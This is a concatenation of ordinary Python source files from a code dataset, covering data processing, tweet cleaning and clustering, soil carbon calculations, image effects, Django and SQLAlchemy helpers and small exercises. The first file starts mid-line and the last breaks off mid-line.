schedule\nimport os\nimport csv\nimport json\nimport re\n\nwith open(\"environment.json\", 'r') as datas:\n env = json.load(datas)\n\n''' Settint Environment '''\nuser = env['mysql']['user']\npasswd = env['mysql']['password']\ndatabase = env['mysql']['database']\n\npath_ods = env['framework']\n\npath_xls = env['classes']['path'] + \"/xls\"\npath_html = env['classes']['path'] + \"/html\"\npath_csv = env['classes']['path'] + \"/csv\"\n\n\n# # ''' Convert Original xls to CSV formate '''\n# converter = cvt.cfConverter(path_xls, path_html)\n# converter.extension_convert(\"xls\", \"html\")\n\n# converter = cvt.cfConverter(path_html, path_csv)\n# converter.csv_convert()\n\n\n# # ''' Seperation by universes '''\n# ods = ods.cfOds(path_ods)\n# hash_name = ods.get_hash_name()[0]\n# files = os.listdir(path_csv)\n\n# datas = dict()\n# for file_path in files:\n# key = os.path.splitext(file_path)[0]\n# univ_table = hash_name[key]\n\n# datas[univ_table] = list()\n\n# file_path = os.path.join(path_csv, file_path)\n\n# with open(file_path, 'r') as file_datas:\n# csv_datas = csv.reader(file_datas, delimiter=',')\n\n# for row in csv_datas:\n# datas[univ_table].append(row)\n\n\n# ''' Initialize MySQL '''\n# # Set Table's names and attrs\n# table_names = list()\n# for name in ods.get_name()[0]:\n# table_names.append(name[1])\n\n# table_attrs = list()\n# primary_keys = str()\n# for attr in ods.get_attrs():\n# table_attrs.append(attr[0] + \" \" + attr[1])\n\n# if attr[3] == \"PRI\":\n# primary_keys += attr[0] + \", \"\n\n# if primary_keys:\n# primary_keys = \"PRIMARY KEY(\" + primary_keys[:-2] + \")\"\n# table_attrs.append(primary_keys)\n\n\n# mysql = mysql.cfMySQL(user, passwd, database)\n# mysql.connect_mysql()\n# mysql.create_database(database)\n# mysql.use_database(database)\n# for univ_name in table_names:\n# mysql.create_table(univ_name, table_attrs)\n\n# for univ_name in table_names:\n# mysql.insert_data(univ_name, datas[univ_name])\n\n\n''' Excluding '''\n# Excluding...\nods = ods.cfOds(path_ods)\nmysql = mysql.cfMySQL(user, passwd, database)\nmysql.connect_mysql()\nmysql.use_database(database)\n\nhash_name = ods.get_hash_name()[0]\ncolumns = [\"lecture_time\"]\n\nschedule = schedule.cfSchedule()\n\nlectures = list()\nfor key, table_name in hash_name.items():\n lecture = mysql.select_datas(table_name, columns)\n lectures += lecture\n\nschedule.extract_all(lectures)\nschedule.exclude_all()\nschedule.sperate_start_end()\n\n\n\n# # Set Exclude table's name and attrs\n# table_name = ods.get_name()[1][0][1]\n\n# table_attrs = list()\n# primary_keys = str()\n# for attr in ods.get_attrs(table_name):\n# table_attrs.append(attr[0] + \" \" + attr[1])\n\n# if attr[3] == \"PRI\":\n# primary_keys += attr[0] + \", \"\n\n# if primary_keys:\n# primary_keys = \"PRIMARY KEY(\" + primary_keys[:-2] + \")\"\n# table_attrs.append(primary_keys)\n\n# mysql.create_table(table_name, table_attrs)\n\n# convert_exDatas = list()\n# for key, value in schedule.ex_data.items():\n# tmp = [key, json.dumps(value, ensure_ascii=False)]\n# convert_exDatas.append(tmp)\n\n# mysql.insert_data(table_name, convert_exDatas)\n\n\n# Export json file as 'exclude.json'\n\nrRoomIdx = r'^[A-Z]+';\nse_data = schedule.se_data\n\nse_idx_datas = dict()\nfor room, times in se_data.items():\n room_idx = re.findall(rRoomIdx, room)[0]\n\n if not room_idx in se_idx_datas:\n se_idx_datas[room_idx] = dict()\n se_idx_datas[room_idx][room] = times\n\n# se_idx_datas = sorted(se_idx_datas.items(), key=lambda x: x[0])\nwith open('exclude.json', 'w') as fp:\n json.dump(se_idx_datas, fp, ensure_ascii=False)\n\nprint(\"END PROCESSING!\")","sub_path":"code/cfRun.py","file_name":"cfRun.py","file_ext":"py","file_size_in_byte":3756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"536241491","text":"from sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport pandas as pd\nimport numpy as np\nimport re\nimport shutil\nimport os\n\nclass RemoveNoiseTweets:\n\n intervals = 25000\n def __init__(self, csvfile,is_testing_set):\n self.file = csvfile\n self.is_testing_set = is_testing_set\n\n def removenoise(self):\n for k in np.arange(0, 0):\n print(\"iteration: \", k, \"\\n\"*10)\n shutil.rmtree(\"data/clean/\")\n os.mkdir(\"data/clean\")\n # if k==0:\n # df = pd.read_csv(self.file)\n # else:\n if self.is_testing_set:\n df = pd.read_csv(self.file)\n RemoveNoiseTweets.intervals = 100\n else:\n df = pd.read_csv(self.file)\n print(\"data dimensions: \",df.shape)\n print(\"data columns: \",df.columns)\n if \"level_0\" in df.columns:\n df.drop(['level_0'],axis=1, inplace=True)\n if \"index\" in df.columns:\n df.drop(['index'],axis=1,inplace=True)\n text_data = pd.DataFrame(df.text)\n # print(text_data.head())\n # print(type(text_data))\n\n print(\"length of text_data: \", len(text_data))\n print(\"reading the file\",self.file, \"for cleaning\")\n print(\"data dimensions: \", df.shape)\n for i in np.arange(0, len(text_data), step=RemoveNoiseTweets.intervals):\n temp_df = df[i:i+RemoveNoiseTweets.intervals]\n print(temp_df.head())\n temp_df.reset_index(inplace=True)\n # print(\"shape of temp df: \", temp_df.shape)\n documents=text_data[i:i+RemoveNoiseTweets.intervals]\n # documents.text = re.sub(r\"\\n\",\"\",documents.text)\n\n tfidf_vectorizer = TfidfVectorizer()\n tfidf_matrix = tfidf_vectorizer.fit_transform(documents.text)\n print(\"tfidf_matrix.shape: \", tfidf_matrix.shape)\n\n cos_sim = np.zeros((len(documents), len(documents)))\n print(\"##################\")\n arr = np.array([])\n max_cos = []\n indexes = []\n for index in np.arange(0, len(documents)):\n # print(\"index: \", index)\n cos_sim[index, :] = cosine_similarity(tfidf_matrix[index:index+1], tfidf_matrix)\n temp = [i for i, x in enumerate(cos_sim[index, :]) if x>0.7]\n temp = [a for a in temp if a > index]\n # print(index, \": \", temp,\"\\n\")\n if len(temp)>0:\n indexes.append(temp)\n if len(indexes)==0:\n return\n else:\n dup_recs = np.unique(np.concatenate(indexes))\n\n print(\"number of duplicate docs: \", len(dup_recs))\n # print(\"duplicate docs: \", indexes)\n print(\"duplicate docs: \", dup_recs)\n\n print(\"before dropping rows: \", temp_df.shape)\n temp_df = temp_df.drop(labels = dup_recs, axis=0)\n print(\"after dropping similar rows: \", temp_df.shape)\n\n temp_df = temp_df.groupby('id').filter(lambda x: len(x) < 50)\n temp_df = temp_df.loc[~temp_df['screen_name'].isin([\"Online_machine\", \"Mig0008\", \"altcoinuniverse\", \"BitcoinBidder\",\n \"skylarprentice1\", \"sophiepmmartin9\", \"BlockWatcher\",\n \"blockchainbot\", \"zFlashio\", \"Winkdexer\", \"BigBTCTracker\",\n \"michaeljamiw\", \"ldnblockchain\", \"cryptoknocks\", \"CapitalCreator_\",\n \"EurVirtualCoins\", \"r_topisto\", \"bitcoinnetwork3\", \"InvestAltcoins\",\n \"susansreviews\", \"cryptobuddha1\", \"CryptoCriterion\", \"12earnmoney\",\n \"suresh_p12\", \"laweddingmakeup\", \"Helg2012\", \"Monu80067960\", \"gaohz_\",\n \"BroMinercom\", \"FactomStockPr\", \"skylarprentice1\", \"free4coin\",\n \"help_me_plzplz_\", \"claytongarner5\", \"TeleMiner\", \"bitcoinkiosk_\",\n \"birnihigo18\", \"CryptoBuza\", \"so6i79\", \"play_game_girl\", \"quyendoattt\",\n \"coinok\", \"johnbitcoinss\", \"deuZige\", \"saddington\", \"prds71\",\n \"zomerushintoi\",\n \"hodlhodlnews\", \"WhaleStreetNews\", \"simulacra10\", \"coinlerinkrali\",\n \"PlanetZiggurat\", \"dotcomlandlords\", \"bot\", \"BCash_Market\",\n \"BitcoinMarket2\",\n \"bitcoinest\", \"mclynd\", \"Affiliyfuture1\", \"bitcoins_future\",\n \"WallStForsale\", \"Coin_Manager\",\"CryptoTopCharts\", \"stone22stone\",\n \"CryptoNewswire\",\"CoinWatcherBot\",\"btctickerbot\",\"ksantacr_\",\"realyoungjohn\",\n \"CashClamber\", \"techpearce\",\"mustcoins\", \"infocryptos\",\"bitcoinnewsfeed\",\n \"cryptinsight\", \"coffeegaram\"])]\n temp_df = temp_df.loc[~temp_df['text'].\n str.contains(\"Market rank is|1 bitcoin =|1 BTC Price:|FREE TOKEN|latest Cryptocurrency News|Free|bot |free bitcoin|#Earn #Bitcoin|Earn Bitcoin\")]\n print(\"shape of data after removing tweets with count > 50 and noise tweets: \", temp_df.shape)\n\n temp_df.to_csv(\"data/clean/subset\"+str(i)+\".csv\", sep=',', encoding='utf-8', index=False)\n\n filenames = []\n for (dirpath, dirnames, files) in os.walk(\"data/clean\"):\n filenames.extend(files)\n break\n if len(filenames)==0:\n return\n os.chdir(\"data/clean/\")\n combined_csv = pd.concat([pd.read_csv(f) for f in filenames])\n if \"index\" in combined_csv.columns:\n combined_csv.drop(['index'],axis=1,inplace=True)\n combined_csv.reset_index(inplace=True, drop=True)\n os.chdir(\"../../\")\n if self.is_testing_set:\n combined_csv.to_csv(\"data/clean_test.csv\", index=False)\n else:\n combined_csv.to_csv(\"data/clean_train.csv\", index=False)\n print(len(combined_csv))\n\n\n # os.chdir(\"data\")\n # filenames=[\"subset0.csv\",\"subset25000.csv\",\"subset50000.csv\",\"subset75000.csv\",\"subset100000.csv\",\"subset125000.csv\",\"subset150000.csv\",\"subset175000.csv\",\"subset200000.csv\",\"subset225000.csv\",\"subset250000.csv\",\"subset275000.csv\",\"\"]\n#from os import walk\n\n#filenames=[]\n#for(dirpath, dirnames,files) in walk(\"data/clean\"):\n# filenames.extend(filenames)\n# break\n#combined_csv = pd.concat([pd.read_csv(f) for f in filenames])\n#combined_csv.to_csv(\"data/combined_csv1.csv\", index=False)\n\n","sub_path":"twitter/remove_noise_tweets.py","file_name":"remove_noise_tweets.py","file_ext":"py","file_size_in_byte":7509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"636980274","text":"from stock_models import Supplier, CurrentStock, db, AddStockForm\nfrom sqlalchemy import update\n\n\nclass EditStock:\n def __new__(self, id, p_name, quant, price, sup_name):\n\n old_stock = CurrentStock.query.filter_by(id=id).first()\n old_supplier = Supplier.query.filter_by(id=old_stock.supplier_id).first()\n new_supplier = Supplier.query.filter_by(company_name=sup_name).first()\n stmt = None\n if new_supplier is None:\n sup_update = update(Supplier).where(Supplier.id == old_stock.supplier_id).values(company_name=sup_name)\n db.session.execute(sup_update)\n st_update = update(CurrentStock).where(CurrentStock.id == old_stock.id).values(product_name=p_name,quantity=quant, price=price,supplier_id=old_supplier.id)\n else:\n st_update = update(CurrentStock).where(CurrentStock.id == old_stock.id).values(product_name=p_name,quantity=quant, price=price,supplier_id=new_supplier.id)\n\n db.session.execute(st_update)\n db.session.commit()\n\n\nclass ViewEditStock:\n def __new__(self, id, form):\n stock = CurrentStock.query.filter_by(id=id).first()\n supplier = Supplier.query.filter_by(id=stock.supplier_id).first()\n edit_form = AddStockForm(form)\n edit_form.product_name.data = stock.product_name\n edit_form.quantity.data = stock.quantity\n edit_form.price.data = stock.price\n edit_form.supplier_name.data = supplier.company_name\n\n return edit_form\n\n\n\n","sub_path":"warehouse-service/src/page_controllers/edit_stock.py","file_name":"edit_stock.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"354341680","text":"#! /usr/bin/env python\n# -*- coding:utf-8 -*-\n\n\"\"\"\nPIL库,Python Image Library 具有强大图像处理能力的第三方库\n\n图像->RGB值的二维向量\n\n用numpy的二维数组表示图像\n\n\n图像变换过程:\n读入图像,获得RGB值,修改后保存为新的文件\n\"\"\"\n\nfrom PIL import Image\nimport numpy as np\n\n\"\"\"\na = np.array(Image.open(\"image.jpg\"))\nprint(a.shape, a.dtype) # (457, 584, 3) uint8\n\nprint('-------RGB补值--------')\nb = [255, 255, 255] - a # 补值\nim = Image.fromarray(b.astype('uint8'))\nim.save(\"image2.jpg\")\n\nprint('--------灰度图--------')\n# convert:转为灰度值图片,三维数组将变为二维数组\nc = np.array(Image.open('image.jpg').convert('L'))\nim = Image.fromarray(c.astype('uint8'))\nim.save(\"image3.jpg\")\n\nprint('--------区间变化-------')\n\n\"\"\"\n\n\n# 图像的手绘效果\n\n# 梯度的重构:利用像素之间的梯度值和虚拟深度值对图像进行重构\n# 根据灰度的变化来模拟人类视觉的敏感程度\n\na = np.asarray(Image.open('image.jpg').convert('L')).astype('float')\n\ndepth = 10. # (0-100) ���设深度值为10 取值范围0-100\ngrad = np.gradient(a) # 取图像灰度的梯度值\ngrad_x, grad_y = grad # 分别取x和y横纵图像梯度值\ngrad_x = grad_x * depth / 100. # 根据深度调整x和y方向的梯度值\ngrad_y = grad_y * depth / 100.\nA = np.sqrt(grad_x ** 2 + grad_y ** 2 + 1.)\nuni_x = grad_x / A\nuni_y = grad_y / A\nuni_z = 1. / A\n\nvec_el = np.pi / 2.2 # 光源的俯视角度,弧度值\nvec_az = np.pi / 4. # 光源的方位角度,弧度值\ndx = np.cos(vec_el) * np.cos(vec_az) # 光源对x 轴的影响\ndy = np.cos(vec_el) * np.sin(vec_az) # 光源对y 轴的影响\ndz = np.sin(vec_el) # 光源对z 轴的影响\n\nb = 255 * (dx * uni_x + dy * uni_y + dz * uni_z) # 光源归一化\nb = b.clip(0, 255)\n\nim = Image.fromarray(b.astype('uint8')) # 重构图像\nim.save('imageq.jpg')","sub_path":"image2hand.py","file_name":"image2hand.py","file_ext":"py","file_size_in_byte":1910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"257275602","text":"'''\nCreated on Apr 11, 2013\n@author: ricardo\nUse the library fpiclass\n'''\n\n#LN suggestion:\n#data=np.genfromtxt(path,dtype=np.float,skiprows=2,converters={14: lambda s: {'0':630.0,'1':632.8,'2':557.7}[s]})\n#zonal=data[:,1]\n#zonal=filtra(zonal)\n#plot(zonal)\n\n#import numpy\nimport os\nfrom library import getpath\nfrom datetime import datetime\nfrom dateutil import rrule\nfrom fpiclass_v4 import fpiData,fpiProcess\ndef main():\n\t\n\tbasepath='/data/01-FPIdata'\n\tstationIDs=['A3O','MRH','NZK']\n\tcolors=['red','blue','green']\n\tstart_day=1\n\tstart_month=10\n\tstart_year=2013\n\t\n\tstop_day=1\n\tstop_month=10\n\tstop_year=2013\n\t\n\tstart=datetime(start_year,start_month,start_day)\n\tstop=datetime(stop_year,stop_month,stop_day)\n\t\n\tlist_days_and_files = []\n\tfor day in rrule.rrule(rrule.DAILY,dtstart=start,until=stop):\n\t\ttmp={'day':day}\n\t\tfor stationID in stationIDs:\n\t\t\tZMpath=getpath(basepath,stationID,day,'zm')\n\t\t\tHorpath=getpath(basepath,stationID,day,'hor')\n\t\t\tif os.path.exists(ZMpath):\n\t\t\t\ttmp[stationID+'data']=fpiData(ZMpath,horizontals=Horpath)\n\t\t\t\ttmp[stationID+'color']=colors[stationIDs.index(stationID)]\n\t\tlist_days_and_files.append(tmp)\n\t\n\tfpi_data_1 = fpiProcess(stationIDs,list_days_and_files)\n\toutput_file_pdf = \"/home/fpi/Desktop/comparison2.pdf\"\n\tfpi_data_1.make_file_v2_zonal_meridional(output_file_pdf)\n\tfpi_data_1.make_file_v2_temperature()\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"plot_charts4.py","file_name":"plot_charts4.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"149312645","text":"'''\nDifference of sum of Even Odd Index numbers\nWrite a function which takes a list of positive integers and returns the difference of sum of numbers and even and odd index positions.\n\nYour function should take the list, sum all the numbers which are located at even index poistion of list and sum all the which are located at odd index poistion of list and subtract odd postion sum from even position sum.\n\nyou should name the function as difference_sum_even_odd_index and it should take a list.\n\nIndex of the list starts from 0.\n\nIf list has only one element, then sum of odd = 0\n\nInput\nlist of positive intergers\n\nOutput\nInteger\n\nExample\nInput:\n\n[1,2,3,4,5,6]\n\nOutput:\n\n-3\n'''\n# You should name your function as difference_sum_even_odd_index\n# It should take a list of integers\n# Return an integer\ndef difference_sum_even_odd_index(number):\n even=0\n odd=0\n for i in range(len(number)):\n if i%2==0:\n even=even+number[i]\n else:\n odd=odd+number[i]\n return (even-odd)\n\n# Do not change anything below this line\nif __name__ == \"__main__\":\n numbers = [int(i) for i in input().split(' ')]\n print(difference_sum_even_odd_index(numbers))","sub_path":"Difference of sum of Even Odd Index numbers.py","file_name":"Difference of sum of Even Odd Index numbers.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"533449849","text":"\"\"\"\n\n* File Name : SOCtools.py\n\n* Purpose : Lib for processing SOC data\n\n* Creation Date : 18-07-2017\n\n* Last Modified : Wed Dec 18 17:31:52 2019\n\n* Created By : Shijie Shu\n\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nimport math\n\ndef aggre_profden_to_profstock(nlev, dz, profile):\n\n \"\"\" Aggregate the SOC density profile into a stock profile. \n Input:\n nlev --- number of soil layers, scalar\n dz --- depth of each soil layer, nlev*1\n profile --- SOC profile in kgC/m3, nlev*nprof\n Output:\n val --- the SOC profile after aggregation, here is kgC/m2, nlev*nprof\n \"\"\"\n\n nprof = len(profile)\n val = np.zeros((nprof, nlev))\n for i in range(0, nprof):\n if(np.isnan(profile[i, 0])):\n val[i, :] = float(\"nan\")\n else:\n val[i, 0] = profile[i, 0]*dz[0]\n for j in range(1, nlev):\n if(np.isnan(profile[i, j])):\n break\n else:\n val[i, j] = val[i, j-1] + profile[i,j]*dz[j]\n return val\n\ndef aggre_profden_to_stock(endlev, dz, profile):\n\n \"\"\" Aggregate the SOC density profile into a total stock value\n Input:\n endlev --- number of soil layers to be aggregated\n dz --- depth of each soil layer (m), nlev*1\n profile --- SOC profile in kgC/m3, nlev*nprof\n Output:\n val --- The aggregated SOC stock, 1*nprof\n \"\"\"\n\n nprof = len(profile)\n val = np.zeros(nprof)\n for i in range(0, nprof):\n val[i] = profile[i, 0]*dz[0]\n for j in range(1, endlev):\n if(np.isnan(profile[i, j])):\n break\n else:\n val[i] = val[i] + profile[i,j]*dz[j]\n return val\n\ndef aggre_profden_to_stock_1m(zsoih, dz, profile):\n\n \"\"\" Aggregate the SOC density profile into a total stock value\n till 1m specifically for ISAM output\n Input:\n zsoih --- depth of the interface of each soil layer, (nlev+1) * 1\n dz --- depth of each soil layer (m), nlev*1\n profile --- SOC profile in kgC/m3, nlev*nprof\n Output:\n val --- The aggregated SOC stock, 1*nprof\n \"\"\"\n\n nprof = len(profile)\n val = np.zeros(nprof)\n for i in range(0, nprof):\n val[i] = profile[i, 0]*dz[0]\n for j in range(1, 7):\n if(np.isnan(profile[i, j])):\n break\n else:\n val[i] = val[i] + profile[i,j]*dz[j]\n if(~np.isnan(profile[i, 7])):\n val[i] = val[i] + profile[i, 7] * (1-zsoih[7])\n return val\n\ndef aggre_profden_to_stock_30cm(zsoih, dz, profile):\n\n \"\"\" Aggregate the SOC density profile into a total stock value\n till 1m specifically for ISAM output\n Input:\n zsoih --- depth of the interface of each soil layer, (nlev+1) * 1\n dz --- depth of each soil layer (m), nlev*1\n profile --- SOC profile in kgC/m3, nlev*nprof\n Output:\n val --- The aggregated SOC stock, 1*nprof\n \"\"\"\n\n nprof = len(profile)\n val = np.zeros(nprof)\n for i in range(0, nprof):\n val[i] = profile[i, 0]*dz[0]\n for j in range(1, 5):\n if(np.isnan(profile[i, j])):\n break\n else:\n val[i] = val[i] + profile[i,j]*dz[j]\n return val\n\n\n\ndef aggre_prof_den_to_stock(depth, zsoih, dz, profile):\n \"\"\" Aggregate the SOC density profile into a total stock value till the preset \n depth. Only accepts one profile as input at one time\n Input:\n depth --- the depth where SOC aggregate to (m)\n zsoih --- depth of the interface of each soil layer, nlev+1\n dz --- thickness of each soil layer (m), nlev\n profile --- SOC profile in kgC/m3, nlev\n Output:\n val --- The aggregated SOC stock (kgC/m2), scalar. Will be nan if dz is not \n deep enough.\n \"\"\"\n\n nlev = len(profile)\n val = 0.\n pt = 0\n # Point to the layer right below 30cm\n for j in range(0, nlev):\n if(zsoih[j] >= depth):\n pt = j\n break\n if(zsoih[nlev] < depth):\n val = float('nan')\n else:\n # Get the carbon amount\n for j in range(0, pt):\n if(zsoih[j+1] < depth):\n val = val + dz[j] * profile[j]\n else:\n val = val + (depth - zsoih[j]) * profile[j]\n\n return val\n\n\n","sub_path":"data/C14/C14processing/SOCtools.py","file_name":"SOCtools.py","file_ext":"py","file_size_in_byte":4301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"345609261","text":"from django.conf.urls import url\nfrom django.contrib.auth.decorators import login_required\n\nfrom user.views import RegisterView, LoginView, UserInfoView, UserOrderView, AddressView, LogoutView\n\nurlpatterns = [\n url(r'^register$', RegisterView.as_view(), name='register'),\n url(r'^login$', LoginView.as_view(), name='login'),\n url(r'^logout$', LogoutView.as_view(), name='logout'),\n url(r'^$', UserInfoView.as_view(), name='user'),\n url(r'^order/(?P\\d+)$', UserOrderView.as_view(), name='order'),\n url(r'^address$', AddressView.as_view(), name='address'),\n\n\n]\n","sub_path":"user/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"11641020","text":"from gtts import gTTS\n#pip install gtts\nfrom playsound import playsound\n#pip install playsound\n\naudio = 'speech.mp3'\nlanguage = 'en'\n\nsp = gTTS(text=\"My name is Abhinav raj\", lang=language,slow=False)\n\nsp.save(audio)\nplaysound(audio)\n\n\n","sub_path":"texttoaudio.py","file_name":"texttoaudio.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"167004734","text":"from django.urls import path, re_path\nfrom .views import PostList, PostDetailView, PostCreate, PostUpdate, PostDelete\n\napp_name = 'posts'\n\nurlpatterns = [\n path('', PostList.as_view(), name='all'),\n path('create/', PostCreate.as_view(), name='create'),\n re_path('(?P\\d+)/update/', PostUpdate.as_view(), name='update'),\n re_path('(?P\\d+)/delete/', PostDelete.as_view(), name='delete'),\n re_path('(?P\\d+)/', PostDetailView.as_view(), name='detail'),\n]\n","sub_path":"blog/posts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"298311964","text":"# Copyright 2016 Arie Bregman\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\nfrom distutils.version import StrictVersion\nimport operator as py_operator\n\n\nclass Requirement(object):\n\n def __init__(self, name, specs):\n self.name = name\n self.specs = specs\n\n def meet_the_specs(self, version):\n \"\"\"Returns True if the given version meets the specs of the Requirement\n\n instance.\n \"\"\"\n\n op_map = {\n '==': 'eq', '=': 'eq', 'eq': 'eq',\n '<': 'lt', 'lt': 'lt',\n '<=': 'le', 'le': 'le',\n '>': 'gt', 'gt': 'gt',\n '>=': 'ge', 'ge': 'ge',\n '!=': 'ne', '<>': 'ne', 'ne': 'ne'\n }\n\n for spec in self.specs:\n operator = op_map[spec[0]]\n cmp_method = getattr(py_operator, operator)\n\n if not cmp_method(StrictVersion(str(version)),\n StrictVersion(str(spec[1]))):\n return False\n return True\n","sub_path":"reqwise/requirement.py","file_name":"requirement.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"149162790","text":"import os\nfrom dotenv import load_dotenv\nimport tweepy as tw\nimport re\nimport string\nimport logging\nimport nltk\nimport pandas as pd\nfrom textblob import TextBlob\nfrom sklearn.cluster import DBSCAN\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\nload_dotenv()\nlogging.basicConfig(format='%(process)d-%(levelname)s-%(message)s')\n\n\nclass GetData:\n @staticmethod\n def stream(api, find_word, df):\n \"\"\"Steam tweets containing the specified word\"\"\"\n query = (\n find_word + \" -filter:retweet\" + \" -filter:media\" + \" -filter:links\"\n )\n i = 0\n limit = 1000\n tweet_count = 100\n\n for tweet in tw.Cursor(\n api.search, q=query, count=tweet_count, lang=\"en\", result_type=\"mixed\"\n ).items():\n df.loc[i, \"id\"] = tweet.id\n df.loc[i, \"tweet\"] = tweet.text\n df.loc[i, \"popularity\"] = tweet.favorite_count + tweet.retweet_count\n i += 1\n\n if i > limit:\n break\n else:\n pass\n\n\nclass CleanData:\n @staticmethod\n def remove_punctuation(text):\n \"\"\"Remove links and other punctuation from text\"\"\"\n text = text.replace('\\n', '')\n text = text.replace('\\t', '')\n re.sub(r'http\\S+', '', text) # removes links\n\n translator = str.maketrans('', '', string.punctuation)\n return text.lower().translate(translator)\n\n @staticmethod\n def de_emojify(text):\n \"\"\"Remove emoticons from given text\"\"\"\n regrex_pattern = re.compile(pattern=\"[\"\n u\"\\U0001F600-\\U0001F64F\" # emoticons\n u\"\\U0001F300-\\U0001F5FF\" # symbols & pictographs\n u\"\\U0001F680-\\U0001F6FF\" # transport & map symbols\n u\"\\U0001F1E0-\\U0001F1FF\" # flags (iOS)\n u\"\\U00002500-\\U00002BEF\" # chinese char\n u\"\\U00002702-\\U000027B0\"\n u\"\\U00002702-\\U000027B0\"\n u\"\\U000024C2-\\U0001F251\"\n u\"\\U0001f926-\\U0001f937\"\n u\"\\U00010000-\\U0010ffff\"\n u\"\\u2640-\\u2642\"\n u\"\\u2600-\\u2B55\"\n u\"\\u200d\"\n u\"\\u23cf\"\n u\"\\u23e9\"\n u\"\\u231a\"\n u\"\\ufe0f\" # dingbats\n u\"\\u3030\"\n \"]+\", flags=re.UNICODE)\n return regrex_pattern.sub(r'', text)\n\n\nclass ProcessData:\n ps = nltk.PorterStemmer()\n\n @staticmethod\n def tokenize(text):\n \"\"\"Stem and tokenizes input text, used as custom tokenizer in tfi-df vectorization\"\"\"\n tokens = nltk.word_tokenize(text)\n stems = []\n for item in tokens:\n stems.append(ProcessData.ps.stem(item))\n return stems\n\n @staticmethod\n def analyse_sentiment(tweet):\n \"\"\"Analyses the sentiment of the given tweet\"\"\"\n analysis = TextBlob(tweet)\n sentiment = analysis.sentiment.polarity\n if sentiment > 0:\n return \"positive\"\n elif sentiment == 0:\n return \"neutral\"\n else:\n return \"negative\"\n\n @staticmethod\n def cluster(esp, df):\n \"\"\"Clusters data using DBSCAN with a specified esp value\"\"\"\n df[\"tweet_clean\"] = df[\"tweet\"].apply(lambda y: CleanData.remove_punctuation(y))\n df[\"tweet_clean\"] = df[\"tweet_clean\"].apply(lambda y: CleanData.de_emojify(y))\n\n vectorizer = TfidfVectorizer(tokenizer=ProcessData.tokenize, stop_words='english', min_df=1)\n x = vectorizer.fit_transform(df.loc[:, \"tweet_clean\"])\n\n db = DBSCAN(esp, min_samples=20).fit(x)\n\n df[\"clusters\"] = db.labels_\n logging.info(f\"Number of unique clusters generated: {df.clusters.nunique()}\")\n\n\nclass Results:\n def __init__(self, df):\n \"\"\"Initialize final results of the analysis\"\"\"\n self.clusters_count = df.clusters.value_counts()\n self.df_results = df.groupby([\"clusters\"]).max().reset_index()\n self.df_results[\"sentiment\"] = self.df_results[\"tweet_clean\"].apply(lambda y: ProcessData.analyse_sentiment(y))\n\n logging.info(f\"Number of tweets per cluster: \\n{self.clusters_count}\")\n logging.info(f\"Top cluster tweets: \\n{self.df_results.to_string()}\")\n\n\ndef authorise_api():\n \"\"\"Authorise access to twitter API and return the api handler\"\"\"\n consumer_key = os.getenv(\"CONSUMER_KEY\")\n consumer_key_secret = os.getenv(\"CONSUMER_KEY_SECRET\")\n access_token = os.getenv(\"ACCESS_TOKEN\")\n access_token_secret = os.getenv(\"ACCESS_TOKEN_SECRET\")\n\n auth = tw.OAuthHandler(consumer_key, consumer_key_secret)\n auth.set_access_token(access_token, access_token_secret)\n api = tw.API(auth, wait_on_rate_limit=True)\n\n return api\n\n\ndef get_top_trends(api):\n \"\"\"Returns a list of top trends at the specified location\"\"\"\n # WOEID = 1 for global trending\n latitude = os.getenv(\"LAT\")\n longitude = os.getenv(\"LNG\")\n\n locations = api.trends_closest(latitude, longitude)\n woeid = locations[0][\"woeid\"]\n\n trends = api.trends_place(woeid)\n trends_dict = trends[0][\"trends\"]\n\n return [trends_dict[0]]\n\n\ndef main():\n api = authorise_api()\n top_trend = get_top_trends(api)\n\n df = pd.DataFrame(columns=[\"id\", \"tweet\", \"popularity\"])\n GetData.stream(api, top_trend[0][\"name\"], df)\n\n esp = 1.29\n ProcessData.cluster(esp, df)\n\n Results(df)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"scripts/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"20524535","text":"import random\n\nimport numpy as np\n\nfrom mpi4py import MPI\nfrom trueskill import Rating, rate_1vs1\n\ndef master(agents, stopping_sigma = 1, pick_max_sigma = False):\n comm = MPI.COMM_WORLD\n myid = comm.Get_rank()\n num_workers = comm.Get_size() - 1\n num_agents = len(agents)\n\n agent_ratings = [ [Rating(), i] for i in range(num_agents)]\n agent_ratings_by_sigma 